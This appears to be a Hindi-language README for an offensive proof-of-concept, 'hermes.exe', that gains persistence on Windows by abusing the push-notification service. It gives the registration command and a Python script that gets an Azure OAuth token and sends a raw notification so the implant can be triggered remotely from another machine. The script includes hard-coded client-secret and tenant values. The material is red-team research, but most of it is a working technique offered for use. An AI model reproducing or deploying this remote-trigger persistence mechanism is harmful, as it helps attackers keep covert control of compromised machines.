
Windows पर पुश नोटिफिकेशन के माध्यम से persistence प्राप्त करने के लिए एक PoC
विंडोज़ पर पुश नोटिफिकेशन के माध्यम से पर्सिस्टेंस प्राप्त करने के लिए एक PoC
अधिक तकनीकी विवरण और पृष्ठभूमि के लिए हमारा ब्लॉगपोस्ट यहाँ पढ़ें: https://www.persistent-security.net/post/beacon-on-demand-abusing-push-notifications-for-persistence
कुछ भी करने से पहले आपको Azure सेटअप करना होगा। फिर आपको एक्सीक्यूटेबल को एक बार चलाना होगा ताकि वह पुश नोटिफिकेशन के लिए स्वयं को रजिस्टर कर सके। आपको केवल अपने Azure ऐप का ऑब्जेक्ट आईडी एक आर्ग्युमेंट के रूप में पास करना है और यदि सब ठीक रहा, तो यह Microsoft द्वारा प्राप्त चैनल Uri प्रिंट करेगा। उस स्टेज पर आप ऐप को बंद कर सकते हैं।
hermes.exe <object_id>
यदि SDK 1.3 इंस्टॉल नहीं है, तो बाइनरी आवश्यक एक्सटेंशन के साथ उसे तैनात करने का प्रयास करेगी।
जब आपके पास चैनल Uri हो, तो आप अपने टेनेंट के विवरण के साथ नोटिफिकेशन API को कॉल करके किसी अन्य मशीन से अपने एक्सीक्यूटेबल को दूरस्थ रूप से चलाने का प्रयास कर सकते हैं, और जादू होते देख सकते हैं:
import requests
secret = "4r8Q~XW6U_PmJYg6Eu_jV22DWlsnhyJBIrdpV"
app_id = "CA899E11-71CF-4DB3-962C-0EA65151C132" #not the object id but the Azure app id
tenant_id = "E83F2382-F012-475A-9A4C-30545F429FB7"
channel_uri = "https://wns2-am3p.notify.windows.com/?token=AwYAAAAiYI4p...."
def send_notification(secret, app_id, tenant_id, channel_uri, notification_data):
# Acquire token
url = f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token"
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
data = {
'grant_type': 'client_credentials',
'client_id': app_id,
'client_secret': secret,
'scope': 'https://wns.windows.com/.default'
}
response = requests.post(url, headers=headers, data=data)
response_json = response.json()
token = response_json['access_token']
# Send notification
headers = {
'Content-Type': 'application/octet-stream',
'Authorization': f'Bearer {token}',
'X-WNS-Type': 'wns/raw',
}
response = requests.post(channel_uri, headers=headers, data=notification_data)
return response.status_code, response.text
send_notification(secret, app_id, tenant_id, channel_uri, "This is a notification")